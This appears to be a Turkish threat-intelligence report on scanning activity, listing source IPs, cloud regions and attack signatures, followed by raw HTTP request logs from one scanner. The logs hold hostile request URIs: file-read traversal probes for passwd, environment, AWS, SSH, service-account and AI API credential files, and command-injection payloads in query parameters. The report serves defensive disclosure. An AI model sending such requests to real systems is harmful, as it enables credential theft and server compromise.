13934.125.209.11634.125.0.0/16us-west42026-08-08 17:40:552026-08-12 18:40:10785PROC_ENVIRON:2SERVICE_ACCOUNT:2PASSWD_FILE:1
14034.6.76.12534.6.0.0/15europe-west42026-08-09 03:27:442026-08-09 03:29:10485CONFIG_SECRET:3AWS_CREDENTIALS:1SERVICE_ACCOUNT:1
14135.199.35.18635.199.0.0/18us-east42026-09-11 22:09:422026-09-11 22:09:47445AWS_CREDENTIALS:4GIT_EXPOSURE:1
14235.234.56.10735.234.0.0/18asia-east12026-09-02 04:44:322026-09-04 09:47:58435SERVICE_ACCOUNT:4ENV_FILE:1
14334.47.75.15834.47.64.0/18asia-northeast32026-09-12 03:08:022026-09-12 03:08:11285SERVICE_ACCOUNT:4ENV_FILE:1
14434.50.81.22934.50.64.0/18asia-southeast22026-09-05 04:05:522026-09-05 04:06:05285SERVICE_ACCOUNT:4ENV_FILE:1
14534.68.129.6334.68.0.0/14us-central12026-08-03 21:33:432026-08-05 09:59:52255PROC_ENVIRON:3SERVICE_ACCOUNT:2
14634.81.169.24234.80.0.0/15asia-east12026-08-04 18:45:382026-08-04 18:46:36245PROC_ENVIRON:3SERVICE_ACCOUNT:2
14735.235.107.8235.235.64.0/18us-west22026-09-13 00:36:502026-09-13 00:37:05235SERVICE_ACCOUNT:4ENV_FILE:1
14834.47.128.10334.47.128.0/17asia-south12026-09-12 05:35:042026-09-12 05:35:13235SERVICE_ACCOUNT:4ENV_FILE:1
14935.234.61.10335.234.0.0/18asia-east12026-09-12 14:09:092026-09-12 14:09:33235SERVICE_ACCOUNT:4ENV_FILE:1
15034.51.129.24934.51.128.0/17europe-north22026-09-02 04:53:222026-09-02 04:53:26235SERVICE_ACCOUNT:4ENV_FILE:1
15134.51.130.14734.51.128.0/17europe-north22026-09-03 05:26:462026-09-03 05:27:02235SERVICE_ACCOUNT:4ENV_FILE:1
15235.190.143.9735.190.128.0/18us-east12026-08-10 04:05:512026-08-10 13:28:392344SSH_PRIVATE_KEY:2SERVICE_ACCOUNT:2
15334.169.205.6134.168.0.0/15us-west12026-08-11 12:44:242026-08-12 23:08:352344SSH_PRIVATE_KEY:2SERVICE_ACCOUNT:2
15435.240.42.25435.240.0.0/17europe-west12026-08-10 18:52:072026-08-11 06:20:392304SERVICE_ACCOUNT:2SSH_PRIVATE_KEY:2
15534.150.133.13634.150.128.0/17us-east42026-08-09 12:46:222026-08-10 17:47:411714SERVICE_ACCOUNT:2SSH_PRIVATE_KEY:1PROC_ENVIRON:1
15634.85.160.24534.85.128.0/17us-east42026-08-16 01:07:022026-08-16 01:08:30684SERVICE_ACCOUNT:2PASSWD_FILE:1PROC_ENVIRON:1
15734.52.169.034.52.128.0/17europe-west12026-08-09 17:00:022026-08-10 23:56:15504SERVICE_ACCOUNT:3PROC_ENVIRON:1
15834.62.169.17534.62.0.0/16europe-west12026-08-11 01:49:492026-08-11 01:51:16494PROC_ENVIRON:1CONFIG_SECRET:1AWS_CREDENTIALS:1SERVICE_ACCOUNT:1
15935.240.60.5435.240.0.0/17europe-west12026-08-29 03:07:552026-08-29 03:08:44464PROC_ENVIRON:2PASSWD_FILE:1SERVICE_ACCOUNT:1
16034.181.241.19534.181.128.0/17us-east42026-09-13 02:02:132026-09-13 02:02:29444PROC_ENVIRON:2SERVICE_ACCOUNT:1SSH_PRIVATE_KEY:1LOCAL_FILE_URL:1
16134.86.235.23834.86.0.0/16us-east42026-08-01 20:21:382026-08-01 20:21:40444WP_CONFIG:2AWS_CREDENTIALS:1SERVICE_ACCOUNT:1
16234.175.183.7534.175.0.0/16europe-southwest12026-09-05 23:54:432026-09-05 23:54:43104WP_CONFIG:4BACKUP_DISCOVERY:1
16334.121.138.11934.121.0.0/16us-central12026-08-23 23:44:262026-08-23 23:44:2794SERVICE_ACCOUNT:2AWS_CREDENTIALS:1SSH_PRIVATE_KEY:1
16434.23.127.19134.23.0.0/16us-east12026-08-16 17:00:082026-08-18 22:29:041263SERVICE_ACCOUNT:2AWS_CREDENTIALS:1
16534.23.175.7934.23.0.0/16us-east12026-08-19 21:08:292026-08-19 21:08:331253BACKUP_DISCOVERY:2SSH_PRIVATE_KEY:1
16634.124.130.17734.124.128.0/17asia-southeast12026-08-17 02:37:012026-08-17 02:37:091243BACKUP_DISCOVERY:2SSH_PRIVATE_KEY:1
16734.139.36.6434.138.0.0/15us-east12026-08-22 04:54:492026-08-22 04:54:531243BACKUP_DISCOVERY:2SSH_PRIVATE_KEY:1
16834.63.220.3734.63.0.0/16us-central12026-08-11 13:59:012026-08-11 13:59:041193BACKUP_DISCOVERY:2SSH_PRIVATE_KEY:1
16934.26.178.8634.26.0.0/16us-east12026-08-14 05:08:552026-08-14 05:08:581193BACKUP_DISCOVERY:2SSH_PRIVATE_KEY:1
17035.184.171.24335.184.0.0/16us-central12026-08-14 07:38:282026-08-14 07:38:311193BACKUP_DISCOVERY:2SSH_PRIVATE_KEY:1
17134.81.75.24134.80.0.0/15asia-east12026-09-13 02:16:312026-09-13 02:16:39873PROC_ENVIRON:2SSH_PRIVATE_KEY:1
17234.66.85.24134.66.0.0/15us-central12026-08-09 16:48:102026-08-11 18:36:40613PROC_ENVIRON:1SERVICE_ACCOUNT:1AWS_CREDENTIALS:1
17334.76.212.334.76.0.0/14europe-west12026-08-15 23:23:362026-08-15 23:25:05593PROC_ENVIRON:1PASSWD_FILE:1SERVICE_ACCOUNT:1
17435.195.83.25335.195.0.0/16europe-west12026-08-11 21:11:092026-08-11 21:12:34553PASSWD_FILE:1PROC_ENVIRON:1SERVICE_ACCOUNT:1
17534.7.134.5934.6.0.0/15europe-west42026-08-12 12:20:182026-08-12 12:21:47503CONFIG_SECRET:2AWS_CREDENTIALS:1
17634.74.219.2434.74.0.0/15us-east12026-08-26 20:17:452026-08-27 16:56:37493AWS_CREDENTIALS:3
17734.77.141.9834.76.0.0/14europe-west12026-08-11 23:19:422026-08-12 05:43:39463SERVICE_ACCOUNT:2PROC_ENVIRON:1
17835.197.155.16335.197.128.0/19asia-southeast12026-08-08 08:20:292026-08-08 08:21:56453PASSWD_FILE:1OCI_SECRET:1SSH_PRIVATE_KEY:1
17935.196.61.9335.196.0.0/16us-east12026-08-11 16:44:052026-08-13 08:35:35443AWS_CREDENTIALS:2SERVICE_ACCOUNT:1
18034.186.13.9134.186.0.0/19us-west42026-08-09 11:08:222026-08-09 11:09:49303PROC_ENVIRON:1PASSWD_FILE:1SERVICE_ACCOUNT:1
18134.14.111.1034.14.0.0/17europe-west12026-09-06 04:56:342026-09-06 04:56:3493WP_CONFIG:3
18234.79.114.16634.76.0.0/14europe-west12026-09-01 01:08:272026-09-01 01:08:2793WP_CONFIG:3
18334.88.75.4034.88.0.0/16europe-north12026-09-01 11:15:492026-09-01 11:15:4993WP_CONFIG:3
18434.52.218.17234.52.128.0/17europe-west12026-09-04 15:47:062026-09-04 15:47:0693WP_CONFIG:3
18534.70.161.334.68.0.0/14us-central12026-08-28 15:47:182026-08-28 15:47:1893WP_CONFIG:3
18635.234.216.12235.234.208.0/20asia-south12026-08-03 00:14:082026-08-03 00:14:0993WP_CONFIG:3
18734.22.54.8934.22.32.0/19us-west32026-08-03 04:28:352026-08-03 04:28:3593WP_CONFIG:3
18834.47.82.18534.47.64.0/18asia-northeast32026-09-06 06:22:152026-09-06 06:22:1593WP_CONFIG:3
18935.230.115.2735.230.0.0/17us-west12026-09-01 03:59:272026-09-01 03:59:2793WP_CONFIG:3
19034.106.72.6134.106.0.0/16us-west32026-09-01 15:11:342026-09-01 15:11:3493WP_CONFIG:3
19134.44.189.5534.44.0.0/15us-central12026-09-04 17:39:322026-09-04 17:39:3293WP_CONFIG:3
19234.97.31.16334.97.0.0/16asia-northeast22026-08-27 04:02:212026-08-27 04:02:2193WP_CONFIG:3
19334.46.228.4534.46.0.0/16us-central12026-08-27 14:13:112026-08-27 14:13:1193WP_CONFIG:3
19434.20.168.23934.20.128.0/17us-west22026-08-29 06:08:152026-08-29 06:08:1593WP_CONFIG:3
19534.180.56.24334.180.0.0/18asia-south12026-08-02 17:26:122026-08-02 17:26:1293WP_CONFIG:3
19634.95.228.14134.95.128.0/17southamerica-east12026-09-06 06:35:192026-09-06 06:35:1993WP_CONFIG:3
19734.185.231.22134.185.128.0/17europe-west32026-09-01 15:59:412026-09-01 15:59:4193WP_CONFIG:3
19834.90.212.19534.90.0.0/15europe-west42026-09-04 17:56:242026-09-04 17:56:2493WP_CONFIG:3
19935.245.146.20435.245.0.0/16us-east42026-08-28 19:13:182026-08-28 19:13:1893WP_CONFIG:3
20034.124.145.7634.124.128.0/17asia-southeast12026-08-03 01:19:182026-08-03 01:19:1893WP_CONFIG:3
20135.203.109.11635.203.0.0/17northamerica-northeast12026-08-03 05:39:032026-08-03 05:39:0393WP_CONFIG:3
20234.128.82.2234.128.64.0/18asia-southeast22026-09-06 06:33:152026-09-06 06:33:1593WP_CONFIG:3
20335.229.18.10435.229.16.0/20us-east12026-09-01 15:52:142026-09-01 15:52:1493WP_CONFIG:3
20435.203.143.14835.203.128.0/18us-west12026-09-04 17:53:392026-09-04 17:53:3993WP_CONFIG:3
20534.23.68.10534.23.0.0/16us-east12026-08-27 16:32:022026-08-27 16:32:0293WP_CONFIG:3
20634.63.245.5734.63.0.0/16us-central12026-08-28 18:08:002026-08-28 18:08:0093WP_CONFIG:3
20734.50.115.12934.50.64.0/18asia-southeast22026-08-02 18:37:182026-08-02 18:37:1893WP_CONFIG:3
20835.201.3.24335.201.0.0/19australia-southeast12026-08-03 02:14:192026-08-03 02:14:1993WP_CONFIG:3
20934.64.99.23434.64.96.0/19asia-northeast32026-09-06 02:07:002026-09-06 02:07:0093WP_CONFIG:3
21034.74.13.5034.74.0.0/15us-east12026-09-04 11:42:172026-09-04 11:42:1793WP_CONFIG:3
21135.188.7.17435.188.0.0/17us-central12026-08-28 15:05:542026-08-28 15:05:5493WP_CONFIG:3
21234.12.8.21234.12.0.0/16europe-west42026-08-28 22:05:302026-08-28 22:05:3093WP_CONFIG:3
21335.241.98.4735.241.64.0/18asia-east22026-08-02 23:15:092026-08-02 23:15:1093WP_CONFIG:3
21435.230.145.7035.230.128.0/19europe-west22026-08-03 05:09:552026-08-03 05:09:5593WP_CONFIG:3
21534.63.75.22734.63.0.0/16us-central12026-08-27 21:02:552026-08-27 21:02:5593WP_CONFIG:3
21634.42.49.15634.42.0.0/16us-central12026-08-29 01:08:292026-08-29 01:08:3093WP_CONFIG:3
21734.124.211.11734.124.128.0/17asia-southeast12026-08-02 21:03:152026-08-02 21:03:1693WP_CONFIG:3
21834.96.166.22034.96.128.0/17asia-east22026-08-02 22:07:382026-08-02 22:07:3893WP_CONFIG:3
21934.125.235.16734.125.0.0/16us-west42026-08-12 07:55:442026-08-12 07:56:1283PROC_ENVIRON:1PASSWD_FILE:1AWS_METADATA_SSRF:1
22034.81.61.19734.80.0.0/15asia-east12026-06-14 01:57:462026-06-14 01:58:042622SSH_PRIVATE_KEY:2
22134.24.153.12234.24.0.0/15us-east12026-08-19 11:40:542026-08-19 20:19:381342SSH_PRIVATE_KEY:1SERVICE_ACCOUNT:1
22235.187.232.1335.187.224.0/19asia-southeast12026-08-17 10:04:522026-08-17 10:04:571242SERVICE_ACCOUNT:1SSH_PRIVATE_KEY:1
22335.239.48.20435.238.0.0/15us-central12026-08-12 02:57:492026-08-12 02:57:521182SERVICE_ACCOUNT:1SSH_PRIVATE_KEY:1
22434.75.71.4734.74.0.0/15us-east12026-08-11 07:33:072026-08-11 07:33:101162SERVICE_ACCOUNT:1SSH_PRIVATE_KEY:1
22534.71.3.8634.68.0.0/14us-central12026-08-09 22:59:472026-08-09 22:59:501122SERVICE_ACCOUNT:1SSH_PRIVATE_KEY:1
22635.204.239.20235.204.0.0/16europe-west42026-09-08 04:16:362026-09-08 04:17:09812SERVICE_ACCOUNT:2
22734.59.11.20334.56.0.0/14us-central12026-08-17 01:50:382026-08-17 13:36:40632AWS_CREDENTIALS:2
22834.23.167.17234.23.0.0/16us-east12026-08-11 16:23:572026-08-11 16:23:58532SERVICE_ACCOUNT:1AWS_CREDENTIALS:1
22934.74.120.11334.74.0.0/15us-east12026-08-12 06:24:002026-08-13 14:11:41482PROC_ENVIRON:1SERVICE_ACCOUNT:1
23034.134.163.14934.132.0.0/14us-central12026-08-12 04:04:522026-08-12 04:04:53462AWS_CREDENTIALS:1SERVICE_ACCOUNT:1
23134.145.226.20834.145.128.0/17us-east42026-08-11 16:45:282026-08-11 16:45:34452PROC_ENVIRON:1SERVICE_ACCOUNT:1
23234.81.173.3734.80.0.0/15asia-east12026-08-07 22:53:442026-08-08 05:06:00442PROC_ENVIRON:1SERVICE_ACCOUNT:1
23335.232.70.17435.232.0.0/16us-central12026-09-10 07:43:012026-09-11 22:37:36422ENV_FILE:2
23435.229.133.14035.229.128.0/17asia-east12026-08-15 17:31:172026-08-15 17:32:44402OCI_SECRET:1SERVICE_ACCOUNT:1
23534.148.158.4334.148.0.0/16us-east12026-08-12 16:20:422026-08-13 15:09:53392SERVICE_ACCOUNT:2
23634.125.86.11134.125.0.0/16us-west42026-08-06 15:21:162026-08-06 15:22:42362SERVICE_ACCOUNT:1CMDI:1
23735.237.126.21635.237.0.0/16us-east12026-07-20 07:32:212026-07-20 07:32:30332SERVICE_ACCOUNT:1PROC_ENVIRON:1
23834.165.243.034.165.0.0/16me-west12026-07-04 04:13:382026-07-04 04:13:51302ENV_FILE:2
23935.228.189.23735.228.0.0/16europe-north12026-09-06 04:21:082026-09-06 04:21:12302ENV_FILE:2
24034.128.90.5034.128.64.0/18asia-southeast22026-09-07 05:58:192026-09-07 05:59:22292ENV_FILE:2
24134.130.96.8034.130.0.0/16northamerica-northeast22026-09-09 16:56:182026-09-09 16:56:21292ENV_FILE:2
24234.12.113.19534.12.0.0/16europe-west42026-09-08 17:18:162026-09-08 17:19:40292SERVICE_ACCOUNT:2
24335.188.231.7835.188.224.0/19us-east42026-08-12 11:22:512026-08-12 11:22:59272PROC_ENVIRON:1SERVICE_ACCOUNT:1
24434.124.225.9234.124.128.0/17asia-southeast12026-08-04 07:36:262026-08-04 07:37:42232PROC_ENVIRON:1SERVICE_ACCOUNT:1
24535.233.200.19435.233.128.0/17us-west12026-08-14 13:32:402026-08-14 13:32:41222AWS_CREDENTIALS:1SERVICE_ACCOUNT:1
24634.74.161.19734.74.0.0/15us-east12026-08-27 11:49:322026-08-27 11:49:33142WP_CONFIG:2
24734.90.223.1534.90.0.0/15europe-west42026-08-04 15:51:252026-08-04 15:52:37132SERVICE_ACCOUNT:2
24835.242.175.18435.242.128.0/18europe-west22026-09-06 07:59:462026-09-06 08:00:00122ENV_FILE:2
24934.32.46.17234.32.0.0/17europe-west102026-09-11 21:20:412026-09-11 21:20:57122ENV_FILE:2
25034.51.202.19934.51.128.0/17europe-north22026-08-31 15:11:042026-08-31 15:11:15122ENV_FILE:2
25135.231.158.10035.231.0.0/16us-east12026-08-31 20:52:132026-08-31 20:52:47122ENV_FILE:2
25234.15.174.9534.15.128.0/17asia-southeast32026-09-08 06:37:092026-09-08 06:37:33112WP_CONFIG:2BACKUP_DISCOVERY:1
25334.181.153.16334.181.128.0/17us-east42026-09-11 14:18:082026-09-11 14:18:09112PROC_ENVIRON:1PASSWD_FILE:1
25434.140.110.17934.140.0.0/16europe-west12026-08-03 06:22:242026-08-03 06:22:26102PROC_ENVIRON:1SERVICE_ACCOUNT:1
25534.6.20.21934.6.0.0/15europe-west42026-08-03 06:59:592026-08-03 07:00:00102PROC_ENVIRON:1SERVICE_ACCOUNT:1
25634.125.61.19734.125.0.0/16us-west42026-08-03 13:14:012026-08-03 13:14:1292PROC_ENVIRON:1SERVICE_ACCOUNT:1
25735.254.255.12135.254.0.0/15us-central12026-08-03 19:34:342026-08-03 19:34:4492PROC_ENVIRON:1SERVICE_ACCOUNT:1
25834.53.208.14934.53.128.0/17europe-west12026-09-08 14:28:492026-09-08 14:28:5392PROC_ENVIRON:1PASSWD_FILE:1
25934.145.33.20634.145.0.0/17us-west12026-09-09 17:32:342026-09-09 17:32:3682PROC_ENVIRON:1PASSWD_FILE:1
26034.104.241.11034.104.128.0/17asia-northeast12026-09-12 17:23:112026-09-12 17:23:1282PROC_ENVIRON:1PASSWD_FILE:1
26135.233.159.13135.233.128.0/17us-west12026-09-07 18:46:132026-09-07 18:46:1972PROC_ENVIRON:1PASSWD_FILE:1
26234.80.86.7134.80.0.0/15asia-east12026-09-04 17:20:022026-09-04 17:20:0972PASSWD_FILE:1PROC_ENVIRON:1
26334.186.13.1534.186.0.0/19us-west42026-09-11 01:15:122026-09-11 01:15:1272PROC_ENVIRON:1PASSWD_FILE:1
26434.87.34.20934.87.0.0/17asia-southeast12026-08-26 02:46:092026-08-26 02:46:1032CONFIG_SECRET:1WP_CONFIG:1
26534.159.70.14634.159.0.0/16europe-west32026-08-31 03:09:232026-08-31 03:09:232421SSH_PRIVATE_KEY:1
26634.150.186.10134.150.128.0/17us-east42026-09-04 05:38:482026-09-04 05:38:482391SSH_PRIVATE_KEY:1
26734.72.186.10034.72.0.0/16us-central12026-08-31 01:02:092026-08-31 01:02:092381SSH_PRIVATE_KEY:1
26835.247.221.3935.247.192.0/18southamerica-east12026-08-28 11:22:302026-08-28 11:22:312181SSH_PRIVATE_KEY:1
26934.95.212.16634.95.128.0/17southamerica-east12026-08-28 10:51:532026-08-28 10:51:542141SSH_PRIVATE_KEY:1
27034.106.121.8234.106.0.0/16us-west32026-06-30 07:13:032026-06-30 07:13:052081SSH_PRIVATE_KEY:1
27134.92.216.25334.92.0.0/16asia-east22026-06-14 21:21:172026-06-14 21:21:181311SSH_PRIVATE_KEY:1
27235.222.161.21935.222.0.0/15us-central12026-06-15 14:34:522026-06-15 14:34:531291SSH_PRIVATE_KEY:1
27334.63.96.24634.63.0.0/16us-central12026-06-25 21:13:432026-06-25 21:13:441281SSH_PRIVATE_KEY:1
27434.101.58.16234.101.32.0/19asia-southeast22026-06-25 23:04:152026-06-25 23:04:161281SSH_PRIVATE_KEY:1
27534.64.252.19434.64.192.0/18asia-northeast32026-06-14 22:27:512026-06-14 22:27:521261SSH_PRIVATE_KEY:1
27634.187.49.6934.187.0.0/17europe-west42026-09-09 07:32:272026-09-09 07:33:54741SERVICE_ACCOUNT:1
27734.87.20.12134.87.0.0/17asia-southeast12026-08-18 22:01:082026-08-18 22:01:09551AWS_CREDENTIALS:1
27834.135.199.4034.132.0.0/14us-central12026-08-17 09:57:042026-08-18 20:43:36471SERVICE_ACCOUNT:1
27935.195.230.11435.195.0.0/16europe-west12026-09-13 04:11:572026-09-13 04:11:57441PROC_ENVIRON:1
28034.105.62.23634.105.0.0/17us-west12026-08-11 16:53:122026-08-11 16:53:13371AWS_CREDENTIALS:1
28135.200.122.6535.200.0.0/17asia-northeast12026-09-09 10:25:032026-09-09 10:26:28351PASSWD_FILE:1
28234.139.171.5634.138.0.0/15us-east12026-09-07 22:21:042026-09-07 22:22:04341SERVICE_ACCOUNT:1
28334.135.227.7134.132.0.0/14us-central12026-08-13 21:37:392026-08-13 21:37:39291AWS_CREDENTIALS:1
28434.56.89.10434.56.0.0/14us-central12026-08-12 14:00:112026-08-13 18:51:40281SERVICE_ACCOUNT:1
28535.190.160.5635.190.128.0/18us-east12026-08-21 22:44:542026-08-21 22:44:55271SERVICE_ACCOUNT:1
28634.62.67.1134.62.0.0/16europe-west12026-08-11 15:18:362026-08-11 15:18:37261SERVICE_ACCOUNT:1
28735.233.54.5735.233.0.0/17europe-west12026-08-10 18:24:192026-08-10 18:24:19261AWS_CREDENTIALS:1
28835.221.208.12535.221.128.0/17asia-east12026-09-06 10:19:122026-09-06 10:19:13241SERVICE_ACCOUNT:1
28935.244.51.8835.244.0.0/18asia-south12026-09-06 19:22:112026-09-06 19:22:12241SERVICE_ACCOUNT:1
29034.24.53.24934.24.0.0/15us-east12026-09-06 22:20:142026-09-06 22:20:14241SERVICE_ACCOUNT:1
29135.185.35.18235.185.0.0/17us-east12026-09-07 08:38:392026-09-07 08:38:39241SERVICE_ACCOUNT:1
29234.148.89.20734.148.0.0/16us-east12026-08-20 22:03:402026-08-20 22:03:41221AWS_CREDENTIALS:1
29335.243.213.21835.243.128.0/17us-east12026-08-21 13:46:192026-08-21 13:46:21211SERVICE_ACCOUNT:1
29434.75.236.15234.74.0.0/15us-east12026-08-01 00:57:452026-08-01 00:57:56181SERVICE_ACCOUNT:1
29534.145.157.20234.145.128.0/17us-east42026-08-14 20:02:052026-08-14 20:02:05141AWS_CREDENTIALS:1
29634.23.182.034.23.0.0/16us-east12026-08-12 23:48:152026-08-12 23:48:16121SERVICE_ACCOUNT:1
29734.26.175.20934.26.0.0/16us-east12026-08-17 15:49:542026-08-17 15:49:55111SERVICE_ACCOUNT:1
29834.24.4.15734.24.0.0/15us-east12026-08-13 03:36:262026-08-13 03:36:26111AWS_CREDENTIALS:1
29934.16.209.734.16.128.0/17us-west42026-08-01 23:41:152026-08-01 23:41:19101SERVICE_ACCOUNT:1
30034.172.211.6734.172.0.0/15us-central12026-08-02 05:13:022026-08-02 05:13:0381SERVICE_ACCOUNT:1
30135.233.120.24635.233.0.0/17europe-west12026-09-10 11:21:302026-09-10 11:21:3361PASSWD_FILE:1
30235.230.154.2335.230.128.0/19europe-west22026-07-19 16:43:262026-07-19 16:43:2751AWS_CREDENTIALS:1
30335.233.231.6935.233.128.0/17us-west12026-08-10 10:42:542026-08-10 10:42:5941PROC_ENVIRON:1

Ek B — Ham HTTP istek delilleri

Aşağıdaki bölümler IP bazında açılıp kapanabilir. Yalnız zaman damgası, hedef domain, HTTP metodu, durum kodu ve istek URI'si ayrıştırılabilen kayıtlar ham istek delili olarak yayımlanmıştır. Sunucu içi log dosya yolları ve gereksiz dahili metadata kamuya açıklanmamıştır.

Yayımlanan eksiksiz HTTP request tuple sayısı: 2130

34.79.187.104 — 162 saldırı imzalı istek / 534 toplam istek

Prefix: 34.76.0.0/14 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
09/Aug/2026:21:30:49 +0300cadiroglubelge.com.trGET404PASSWD_FILE/@fs/etc/passwd?raw??
09/Aug/2026:21:30:49 +0300cadiroglubelge.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
09/Aug/2026:21:30:50 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS/@fs/root/.aws/credentials?raw??
09/Aug/2026:21:30:50 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.backup?raw??
09/Aug/2026:21:30:50 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS/@fs/home/admin/.aws/credentials?raw??
09/Aug/2026:21:30:50 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS/@fs/home/node/.aws/credentials?raw??
09/Aug/2026:21:30:50 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.bak?raw??
09/Aug/2026:21:30:50 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS/@fs/home/www-data/.aws/credentials?raw??
09/Aug/2026:21:30:50 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS/@fs/home/ec2-user/.aws/credentials?raw??
09/Aug/2026:21:30:50 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS/@fs/var/www/.aws/credentials?raw??
09/Aug/2026:21:30:50 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS/@fs/home/ubuntu/.aws/credentials?raw??
09/Aug/2026:21:30:50 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS/@fs/var/www/html/.aws/credentials?raw??
09/Aug/2026:21:30:50 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS/@fs/home/debian/.aws/credentials?raw??
09/Aug/2026:21:30:50 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS/@fs/app/.aws/credentials?raw??
09/Aug/2026:21:30:50 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS/@fs/usr/src/app/.aws/credentials?raw??
09/Aug/2026:21:30:51 +0300cadiroglubelge.com.trGET404SSH_PRIVATE_KEY/@fs/root/.ssh/id_ed25519?raw??
09/Aug/2026:21:30:51 +0300cadiroglubelge.com.trGET404WP_CONFIG/@fs/var/www/html/wp-config.php?raw??
09/Aug/2026:21:30:51 +0300cadiroglubelge.com.trGET404SSH_PRIVATE_KEY/@fs/root/.ssh/id_rsa?raw??
09/Aug/2026:21:30:51 +0300cadiroglubelge.com.trGET404SERVICE_ACCOUNT/@fs/app/service-account.json?raw??
09/Aug/2026:21:30:51 +0300cadiroglubelge.com.trGET404OCI_SECRET/@fs/root/.oci/config?raw??
09/Aug/2026:21:30:51 +0300cadiroglubelge.com.trGET404OCI_SECRET/@fs/home/ubuntu/.oci/config?raw??
09/Aug/2026:21:30:52 +0300cadiroglubelge.com.trGET404CONFIG_SECRET/@fs/root/.anthropic/config.json?raw??
09/Aug/2026:21:30:52 +0300cadiroglubelge.com.trGET404CONFIG_SECRET/@fs/home/ubuntu/.anthropic/config.json?raw??
09/Aug/2026:21:30:52 +0300cadiroglubelge.com.trGET404CONFIG_SECRET/@fs/root/.openai/config.json?raw??
09/Aug/2026:21:30:52 +0300cadiroglubelge.com.trGET404CONFIG_SECRET/@fs/app/.openai/config.json?raw??
09/Aug/2026:21:30:52 +0300cadiroglubelge.com.trGET404CONFIG_SECRET/@fs/home/ubuntu/.openai/config.json?raw??
09/Aug/2026:21:30:52 +0300cadiroglubelge.com.trGET404CONFIG_SECRET/@fs/app/.anthropic/config.json?raw??
09/Aug/2026:21:30:52 +0300cadiroglubelge.com.trGET404CONFIG_SECRET/@fs/root/.config/openai/config.json?raw??
09/Aug/2026:21:30:52 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS/root/.aws/credentials
09/Aug/2026:21:30:53 +0300cadiroglubelge.com.trGET404SERVICE_ACCOUNT/service-account.json
09/Aug/2026:21:30:54 +0300cadiroglubelge.com.trGET404SSH_PRIVATE_KEY/.ssh/id_dsa
09/Aug/2026:21:30:55 +0300cadiroglubelge.com.trGET404SERVICE_ACCOUNT/.gcp/service-account.json
09/Aug/2026:21:30:55 +0300cadiroglubelge.com.trGET404SERVICE_ACCOUNT/gcp-service-account.json
09/Aug/2026:21:30:57 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS/aws-credentials.json
09/Aug/2026:21:31:00 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS/backend/.aws/credentials
09/Aug/2026:21:31:00 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS/aws/credentials
09/Aug/2026:21:31:00 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS/.aws/credentials.bak
09/Aug/2026:21:31:02 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS/static../.aws/credentials
09/Aug/2026:21:31:02 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS/home/node/.aws/credentials
09/Aug/2026:21:31:02 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS/home/ubuntu/.aws/credentials
09/Aug/2026:21:31:02 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS/home/ec2-user/.aws/credentials
09/Aug/2026:21:31:04 +0300cadiroglubelge.com.trGET200CMDI/?exec=%3B+echo+GSCAN_CMDI+%23
09/Aug/2026:21:31:04 +0300cadiroglubelge.com.trGET200CMDI/?cmd=%3B+echo+GSCAN_CMDI+%23
09/Aug/2026:21:31:04 +0300cadiroglubelge.com.trGET200CMDI/?host=%3B+echo+GSCAN_CMDI+%23
09/Aug/2026:21:31:04 +0300cadiroglubelge.com.trGET200CMDI/?command=%3B+echo+GSCAN_CMDI+%23
09/Aug/2026:21:31:04 +0300cadiroglubelge.com.trGET200CMDI/?cmd=%60echo+GSCAN_CMDI%60
09/Aug/2026:21:31:04 +0300cadiroglubelge.com.trGET200CMDI/?host=%60echo+GSCAN_CMDI%60
09/Aug/2026:21:31:04 +0300cadiroglubelge.com.trGET200CMDI/?exec=%60echo+GSCAN_CMDI%60
09/Aug/2026:21:31:04 +0300cadiroglubelge.com.trGET200CMDI/?command=%60echo+GSCAN_CMDI%60
09/Aug/2026:21:31:05 +0300cadiroglubelge.com.trGET200CMDI/?ip=%3B+echo+GSCAN_CMDI+%23
09/Aug/2026:21:31:05 +0300cadiroglubelge.com.trGET404CMDI,EXEC_API/api/exec?cmd=%3B+echo+GSCAN_CMDI+%23
09/Aug/2026:21:31:05 +0300cadiroglubelge.com.trGET200CMDI/?ping=%3B+echo+GSCAN_CMDI+%23
09/Aug/2026:21:31:05 +0300cadiroglubelge.com.trGET404CMDI/api/ping?host=%3B+echo+GSCAN_CMDI+%23
09/Aug/2026:21:31:05 +0300cadiroglubelge.com.trGET200CMDI/?ip=%60echo+GSCAN_CMDI%60
09/Aug/2026:21:31:05 +0300cadiroglubelge.com.trGET404CMDI,EXEC_API/api/exec?cmd=%60echo+GSCAN_CMDI%60
09/Aug/2026:21:31:05 +0300cadiroglubelge.com.trGET404CMDI/api/ping?host=%60echo+GSCAN_CMDI%60
09/Aug/2026:21:31:05 +0300cadiroglubelge.com.trGET200CMDI/?ping=%60echo+GSCAN_CMDI%60
09/Aug/2026:21:31:06 +0300cadiroglubelge.com.trGET404CMDI/cgi-bin/test?cmd=%3B+echo+GSCAN_CMDI+%23
09/Aug/2026:21:31:06 +0300cadiroglubelge.com.trGET404CMDI/admin/config?cmd=%3B+echo+GSCAN_CMDI+%23
09/Aug/2026:21:31:06 +0300cadiroglubelge.com.trGET301CMDI/admin?cmd=%3B+echo+GSCAN_CMDI+%23
